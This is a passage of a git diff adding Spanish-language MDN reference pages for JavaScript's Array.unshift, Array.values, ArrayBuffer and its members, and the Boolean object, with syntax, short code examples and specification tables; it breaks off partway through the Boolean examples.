+<p><code>unshift</code> es intencionalmente genérico; este método puede ser {{jsxref("Function.call", "called", "", 1)}} o {{jsxref("Function.apply", "applied", "", 1)}} a objetos similares a arrays. Objetos que no contengan una propiedad <code>length</code> reflejando una serie de propiedades numéricas consecutivas, comenzada a partir del cero, pueden no comportarse de una manera comprensible.</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<pre class="brush: js">var arr = [1, 2];
+
+arr.unshift(0); // resultado de la llamada es 3, la nueva longitud del array
+// arr es [0, 1, 2]
+
+arr.unshift(-2, -1); // = 5
+// arr es [-2, -1, 0, 1, 2]
+
+arr.unshift([-3]);
+// arr es [[-3], -2, -1, 0, 1, 2]
+</pre>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.13', 'Array.prototype.unshift')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.unshift', 'Array.prototype.unshift')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.unshift', 'Array.prototype.unshift')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.unshift")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()")}}</li>
+ <li>{{jsxref("Array.prototype.pop()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/values/index.html b/files/es/web/javascript/referencia/objetos_globales/array/values/index.html
new file mode 100644
index 0000000000..dbc76e8634
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/values/index.html
@@ -0,0 +1,82 @@
+---
+title: Array.prototype.values()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/values
+tags:
+  - Array
+  - ECMAScript 2015
+  - Iterador
+  - JavaScript
+  - Prototipo
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/values
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>values()</code></strong> devuelve un nuevo objeto <strong><code>Array Iterator</code></strong> que contiene los valores para cada índice del array.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> a <span class="operator token">=</span> <span class="punctuation token">[</span><span class="string token">'w'</span><span class="punctuation token">,</span> <span class="string token">'y'</span><span class="punctuation token">,</span> <span class="string token">'k'</span><span class="punctuation token">,</span> <span class="string token">'o'</span><span class="punctuation token">,</span> <span class="string token">'p'</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> iterator <span class="operator token">=</span> a<span class="punctuation token">.</span><span class="function token">values</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>iterator<span class="punctuation token">.</span><span class="function token">next</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// w </span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>iterator<span class="punctuation token">.</span><span class="function token">next</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// y </span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>iterator<span class="punctuation token">.</span><span class="function token">next</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// k </span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>iterator<span class="punctuation token">.</span><span class="function token">next</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// o </span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>iterator<span class="punctuation token">.</span><span class="function token">next</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// p</span></code>
+</pre>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>arr</var>.values()
+</pre>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Un nuevo objeto {{jsxref("Array")}} iterator.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Iteración_usando_un_bucle_for...of">Iteración usando un bucle <code>for...of</code></h3>
+
+<pre class="brush: js">var arr = ['w', 'y', 'k', 'o', 'p'];
+var iterador = arr.values();
+
+for (let letra of iterador) {
+  console.log(letra);
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype.values', 'Array.prototype.values')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.values', 'Array.prototype.values')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{Compat("javascript.builtins.Array.values")}}</div>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.keys()")}}</li>
+ <li>{{jsxref("Array.prototype.entries()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/arraybuffer/@@species/index.html b/files/es/web/javascript/referencia/objetos_globales/arraybuffer/@@species/index.html
new file mode 100644
index 0000000000..ab87242260
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/arraybuffer/@@species/index.html
@@ -0,0 +1,72 @@
+---
+title: 'get ArrayBuffer[@@species]'
+slug: Web/JavaScript/Referencia/Objetos_globales/ArrayBuffer/@@species
+tags:
+  - ArrayBuffer
+  - JavaScript
+  - Propiedad
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/@@species
+---
+<div>{{JSRef}}</div>
+
+<p>La propiedad de acceso <code><strong>ArrayBuffer[@@species]</strong></code> devuelve el constructor <code>ArrayBuffer</code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">ArrayBuffer[Symbol.species]
+</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La propiedad de acceso <code>species</code> devuelve el constructor predeterminado para los objetos <code>ArrayBuffer</code>. Los constructores de subclase pueden anularlo para cambiar la asignación del constructor.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>La propiedad <code>species</code> devuelve la función constructora predeterminada, que es el constructor <code>ArrayBuffer</code> para los objetos <code>ArrayBuffer</code>:</p>
+
+<pre class="brush: js">ArrayBuffer[Symbol.species]; // función ArrayBuffer()</pre>
+
+<p>En un objeto de colección derivado (por ejemplo, su búfer de array personalizado <code>MyArrayBuffer</code>), <code>MyArrayBuffer</code> species es el constructor <code>MyArrayBuffer</code>. Sin embargo, es posible que desee sobrescribir esto para devolver objetos <code>ArrayBuffer</code> principales en sus métodos de clase derivados:</p>
+
+<pre class="brush: js">class MyArrayBuffer extends ArrayBuffer {
+  // Overwrite MyArrayBuffer species to the parent ArrayBuffer constructor
+  static get [Symbol.species]() { return ArrayBuffer; }
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-arraybuffer-@@species', 'get ArrayBuffer [ @@species ]')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-arraybuffer-@@species', 'get ArrayBuffer [ @@species ]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.ArrayBuffer.@@species")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("Symbol.species")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/arraybuffer/bytelength/index.html b/files/es/web/javascript/referencia/objetos_globales/arraybuffer/bytelength/index.html
new file mode 100644
index 0000000000..e553024b1e
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/arraybuffer/bytelength/index.html
@@ -0,0 +1,70 @@
+---
+title: ArrayBuffer.prototype.byteLength
+slug: Web/JavaScript/Referencia/Objetos_globales/ArrayBuffer/byteLength
+tags:
+  - ArrayBuffer
+  - JavaScript
+  - Propiedad
+  - Prototipo
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/byteLength
+---
+<div>{{JSRef}}</div>
+
+<p>La propiedad de acceso <code><strong>byteLength</strong></code> representa la longitud de {{jsxref("ArrayBuffer")}} en bytes.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/arraybuffer-bytelength.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>arr</var>aybuffer.byteLength</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La propiedad <code>byteLength</code> es una propiedad de acceso cuya función de acceso de conjunto es <code>undefined</code>, lo que significa que solo puede leer esta propiedad. El valor se establece cuando la matriz se construye y no se puede cambiar. Esta propiedad devuelve <code>0</code> si este <code>ArrayBuffer</code> ha sido separado.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+buffer.byteLength; // 8
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Reemplazado por ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-get-arraybuffer.prototype.bytelength', 'ArrayBuffer.prototype.byteLength')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial en un estándar ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-arraybuffer.prototype.bytelength', 'ArrayBuffer.prototype.byteLength')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("javascript.builtins.ArrayBuffer.byteLength")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/arraybuffer/index.html b/files/es/web/javascript/referencia/objetos_globales/arraybuffer/index.html
new file mode 100644
index 0000000000..4a83b5a24d
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/arraybuffer/index.html
@@ -0,0 +1,139 @@
+---
+title: ArrayBuffer
+slug: Web/JavaScript/Referencia/Objetos_globales/ArrayBuffer
+tags:
+  - ArrayBuffer
+  - Constructor
+  - JavaScript
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer
+---
+<div>{{JSRef}}</div>
+
+<p>El objeto <strong><code>ArrayBuffer</code></strong> se usa para representar un buffer genérico, de datos binarios crudos (raw) con una longitud específica. No se puede manipular directamente el contenido de un <code>ArrayBuffer</code>; sin embargo, puedes crear uno de los <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">arrays tipados</a> o un objeto {{jsxref("DataView")}} que representa el buffer en un formato especifico, y usarlo para leer y escribir el contenido del buffer.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/arraybuffer-constructor.html")}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">new ArrayBuffer(length)
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>length</code></dt>
+ <dd>El tamaño en bytes, del array buffer que quieres crear.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Un nuevo objeto <code>ArrayBuffer</code> de tamaño específico. Su contenido se inicializa a cero.</p>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<p>Se lanza un {{jsxref("RangeError")}} si la longitud (<code>length</code>) es mayor que {{jsxref("Number.MAX_SAFE_INTEGER")}} (&gt; = 2 ** 53) o negativa.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El constructor de <code>ArrayBuffer</code> crea un nuevo <code>ArrayBuffer</code> del tamaño especificado en bytes.</p>
+
+<h3 id="Obtener_un_array_buffer_sobre_datos_existentes">Obtener un array buffer sobre datos existentes</h3>
+
+<ul>
+ <li><a href="/es/docs/Web/API/WindowBase64/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer">Desde un string Base64</a></li>
+ <li><a href="/es/docs/Web/API/FileReader#readAsArrayBuffer()">Desde un fichero local</a></li>
+</ul>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt><code>ArrayBuffer.length</code></dt>
+ <dd>El tamaño de constructor de <code>ArrayBuffer</code> cuyo valor es 1.</dd>
+ <dt>{{jsxref("ArrayBuffer.@@species", "get ArrayBuffer[@@species]")}}</dt>
+ <dd>La función de constructor que se usa para crear objetos derivados.</dd>
+ <dt>{{jsxref("ArrayBuffer.prototype")}}</dt>
+ <dd>Permite añadir propiedades a todos los objetos <code>ArrayBuffer</code>.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{jsxref("ArrayBuffer.isView", "ArrayBuffer.isView(arg)")}}</dt>
+ <dd>Devuelve <code>true</code> si <code>arg</code> es una de las vistas de ArrayBuffer, como pueden ser los <a href="/es/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">arrays tipados</a> o un {{jsxref("DataView")}}. Sino devuelve <code>false</code>.</dd>
+ <dt>{{jsxref("ArrayBuffer.transfer", "ArrayBuffer.transfer(oldBuffer [, newByteLength])")}} {{experimental_inline}}</dt>
+ <dd>
+ <div class="line" id="file-arraybuffer-transfer-LC6">Devuelve un nuevo <code>ArrayBuffer</code> cuyo contenido se toma de los datos de <code>oldBuffer</code> y luego es truncado o extendido por cero por <code>newByteLength</code>.</div>
+ </dd>
+</dl>
+
+<h2 id="Instancias">Instancias</h2>
+
+<p>Todas las instancias de <code>ArrayBuffer</code> heredan de {{jsxref("ArrayBuffer.prototype")}}.</p>
+
+<h3 id="Propiedades_2">Propiedades</h3>
+
+<p>{{page('es/Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype','Propiedades')}}</p>
+
+<h3 id="Métodos_2">Métodos</h3>
+
+<p>{{page('es/Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype','Métodos')}}</p>
+
+<dl>
+ <dt>{{jsxref("ArrayBuffer.slice()")}} {{non-standard_inline}}</dt>
+ <dd>Tiene la misma funcionalidad que {{jsxref("ArrayBuffer.prototype.slice()")}}.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>En este ejemplo creamos un buffer de 8-bytes con una vista del tipo {{jsxref("Global_Objects/Int32Array", "Int32Array")}} referenciando dicho buffer:</p>
+
+<pre class="brush: js">var buffer = new ArrayBuffer(8);
+var view   = new Int32Array(buffer);</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Sustituida por ECMAScript 6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial en un estándar ECMA. Especifica que new es obligatorio.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("javascript.builtins.ArrayBuffer")}}</p>
+
+<h2 id="Notas_de_compatibilidad">Notas de compatibilidad</h2>
+
+<p>Desde el ECMAScript 2015, los constructores de <code>ArrayBuffer</code> requieren ser instanciados usando el operador {{jsxref("Operators/new", "new")}}. Ejecutar el constructor de un <code>ArrayBuffer</code> como una funciónsin el <code>new</code>, lanzará un {{jsxref("TypeError")}} de ahora en adelante.</p>
+
+<pre class="brush: js example-bad">var dv = ArrayBuffer(10);
+// TypeError: llamar al constructor ArrayBuffer sin new está prohibido</pre>
+
+<pre class="brush: js example-good">var dv = new ArrayBuffer(10);</pre>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a></li>
+ <li>{{jsxref("SharedArrayBuffer")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/arraybuffer/prototype/index.html b/files/es/web/javascript/referencia/objetos_globales/arraybuffer/prototype/index.html
new file mode 100644
index 0000000000..8901cacfde
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/arraybuffer/prototype/index.html
@@ -0,0 +1,68 @@
+---
+title: ArrayBuffer.prototype
+slug: Web/JavaScript/Referencia/Objetos_globales/ArrayBuffer/prototype
+tags:
+  - ArrayBuffer
+  - JavaScript
+  - Propiedad
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer
+---
+<div>{{JSRef}}</div>
+
+<p>La propiedad <strong><code>ArrayBuffer.prototype</code></strong> representa el prototipo para el objeto {{jsxref("ArrayBuffer")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Las instancias de <code>ArrayBuffer</code> heredan de <code>ArrayBuffer.prototype</code>. Como con todos los constructores, puedes modificar el prototipo del constructor para aplicar cambios sobre todas las instancias de <code>ArrayBuffer</code>.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>ArrayBuffer.prototype.constructor</dt>
+ <dd>Especifica la función que se encarga de crear el prototipo del objeto. El valor inicial es el constructor incluido en el estándar <code>ArrayBuffer</code>.</dd>
+ <dt>{{jsxref("ArrayBuffer.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>El tamaño, en bytes, del array. Este valor se establece al construir el objeto y no se puede modificar. <strong>Sólo lectura.</strong></dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{jsxref("ArrayBuffer.prototype.slice()")}}</dt>
+ <dd>Retorna un nuevo <code>ArrayBuffer</code> cuyo contenido es una copia los bytes de este <code>ArrayBuffer</code> desde <code>begin</code>, incluido, hasta  <code>end</code>, no incluido. Si <code>begin</code> o <code>end</code> son negativos, éstos hacen referencia a un índice que comienza a partir del final del array.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arraybuffer.prototype', 'ArrayBuffer.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arraybuffer.prototype', 'ArrayBuffer.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("javascript.builtins.ArrayBuffer.prototype")}}</p>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/boolean/boolean/index.html b/files/es/web/javascript/referencia/objetos_globales/boolean/boolean/index.html
new file mode 100644
index 0000000000..924ab7ccef
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/boolean/boolean/index.html
@@ -0,0 +1,75 @@
+---
+title: Boolean() constructor
+slug: Web/JavaScript/Referencia/Objetos_globales/Boolean/Boolean
+tags:
+  - Booleano
+  - Constructor
+  - JavaScript
+  - Referencia
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/Boolean
+---
+<div>{{JSRef}}</div>
+
+<p>El constructor <strong><code>Boolean()</code></strong> se usa para crear objetos {{jsxref("Boolean")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/boolean-constructor.html", "shorter")}}</div>
+
+<p class="hidden">La fuente de este ejemplo interactivo se almacena en un repositorio de GitHub. Si deseas contribuir al proyecto de ejemplos interactivos, clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíanos una solicitud de extracción.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">new Boolean([<var>value</var>])</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>value</code> {{optional_inline}}</dt>
+ <dd>El valor inicial del objeto <code>Boolean</code>.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Creación_de_objetos_Boolean_con_un_valor_inicial_de_false">Creación de objetos <code>Boolean</code> con un valor inicial de <code>false</code></h3>
+
+<pre class="brush: js notranslate">var bNoParam = new Boolean();
+var bZero = new Boolean(0);
+var bNull = new Boolean(null);
+var bEmptyString = new Boolean('');
+var bfalse = new Boolean(false);
+</pre>
+
+<h3 id="Creación_de_objetos_Boolean_con_un_valor_inicial_de_true">Creación de objetos <code>Boolean</code> con un valor inicial de <code>true</code></h3>
+
+<pre class="brush: js notranslate">var btrue = new Boolean(true);
+var btrueString = new Boolean('true');
+var bfalseString = new Boolean('false');
+var bSuLin = new Boolean('Su Lin');
+var bArrayProto = new Boolean([]);
+var bObjProto = new Boolean({});</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-boolean-constructor', 'Boolean constructor')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.builtins.Boolean.Boolean")}}</p>
+</div>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li><a href="/es/docs/Glossary/Boolean">Boolean</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/boolean/index.html b/files/es/web/javascript/referencia/objetos_globales/boolean/index.html
new file mode 100644
index 0000000000..17a0f7d9e9
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/boolean/index.html
@@ -0,0 +1,126 @@
+---
+title: Booleano
+slug: Web/JavaScript/Referencia/Objetos_globales/Boolean
+tags:
+  - Boolean
+  - Clase
+  - Class
+  - Constructor
+  - JavaScript
+  - Referencia
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean
+---
+<div>{{JSRef}}</div>
+
+<p>El objeto <strong><code>Boolean</code></strong> es un objeto contenedor para un valor booleano.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El valor pasado como primer parámetro se convierte en un valor booleano, si es necesario. Si el valor se omite o es <code>0</code>, <code>-0</code>, {{jsxref("null")}}, <code>false</code>, {{jsxref("NaN")}}, {{jsxref("undefined")}}, o la cadena vacía (<code>""</code>), el objeto tiene un valor inicial de <code>false</code>. Todos los demás valores, incluido cualquier objeto, un arreglo vacío (<code>[]</code>) o la cadena "<code>false</code>", crean un objeto con un valor inicial de <code>true</code>.</p>
+
+<p>No confundas los valores del <code>Boolean</code> {{Glossary("Primitive", "primitivo")}}, <code>true</code> y <code>false</code> con los valores <code>true</code> y <code>false</code> del objeto <code>Boolean</code>.</p>
+
+<p><strong>Cualquier</strong> objeto cuyo valor no sea {{jsxref("undefined")}} o {{jsxref("null")}}, incluido un objeto <code>Boolean</code> cuyo valor es <code>false</code>, se evalúa como <code>true</code> cuando se pasa a una declaración condicional. Por ejemplo, la condición en la siguiente declaración {{jsxref("Statements/if...else", "if")}} se evalúa como <code>true</code>:</p>
+
+<pre class="brush: js notranslate">var x = new Boolean(false);
+if (x) {
+  // este código se ejecuta
+}
+</pre>
+
+<p>Este comportamiento no se aplica a los <code>Boolean</code> primitivos. Por ejemplo, la condición en la siguiente instrucción {{jsxref("Statements/if...else", "if")}} se evalúa como <code>false</code>:</p>
+
+<pre class="brush: js notranslate">var x = false;
+if (x) {
+  // este código no se ejecuta
+}
+</pre>
+
+<p>No utilices un objeto <code>Boolean</code> para convertir un valor no booleano en un valor booleano. Para realizar esta tarea, en su lugar, usa <code>Boolean</code> como función, o un <a href="/es/docs/Web/JavaScript/Reference/Operators/Logical_NOT">operador <code>NOT</code> doble</a>:</p>
+
+<pre class="brush: js notranslate">var x = Boolean(expression);     // usa esta...
+var x = !!(expression);          // ... o esta
+var x = new Boolean(expression); // ¡no uses esta!
+</pre>
+
+<p>Si especificas cualquier objeto, incluido un objeto <code>Boolean</code> cuyo valor es <code>false</code>, como valor inicial de un objeto <code>Boolean</code>, el nuevo objeto <code>Boolean</code> tiene un valor de <code>true</code>.</p>
+
+<pre class="brush: js notranslate">var myFalse = new Boolean(false);   // valor inicial de false
+var g = Boolean(myFalse);           // valor inicial de true
+var myString = new String('Hola');  // objeto string
+var s = Boolean(myString);          // valor inicial de true
+</pre>
+
+<p>No utilices un objeto <code>Boolean</code> en lugar de un <code>Boolean</code> primitivo.</p>
+
+<div class="note">
+<p><strong>Nota</strong> Cuando la propiedad no estándar <a href="/es/docs/Web/API/Document#Properties"><code>document.all</code></a> se usa como argumento para este constructor, el resultado es un objeto <code>Boolean</code> con el valor <code>false</code>. Esta propiedad es heredada y no estándar y no se debe usar.</p>
+</div>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/Boolean/Boolean", "Boolean()")}}</dt>
+ <dd>Crea un nuevo objeto <code>Boolean</code>.</dd>
+</dl>
+
+<h2 id="Métodos_de_instancia">Métodos de instancia</h2>
+
+<dl>
+ <dt>{{jsxref("Boolean.prototype.toString()")}}</dt>
+ <dd>Devuelve una cadena de <code>true</code> o <code>false</code> dependiendo del valor del objeto. Redefine el método {{jsxref("Object.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("Boolean.prototype.valueOf()")}}</dt>
+ <dd>Devuelve el valor primitivo del objeto {{jsxref("Boolean")}}. Redefine el método {{jsxref("Object.prototype.valueOf()")}}.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Creación_de_objetos_Boolean_con_un_valor_inicial_de_false">Creación de objetos <code>Boolean</code> con un valor inicial de <code>false</code></h3>
+
+<pre class="brush: js notranslate">var bNoParam = new Boolean();
+var bZero = new Boolean(0);
+var bNull = new Boolean(null);
+var bEmptyString = new Boolean('');
+var bfalse = new Boolean(false);
+</pre>
+
+<h3 id="Creación_de_objetos_Boolean_con_un_valor_inicial_de_true">Creación de objetos <code>Boolean</code> con un valor inicial de <code>true</code></h3>
+
+<pre class="brush: js notranslate">var btrue = new Boolean(true);
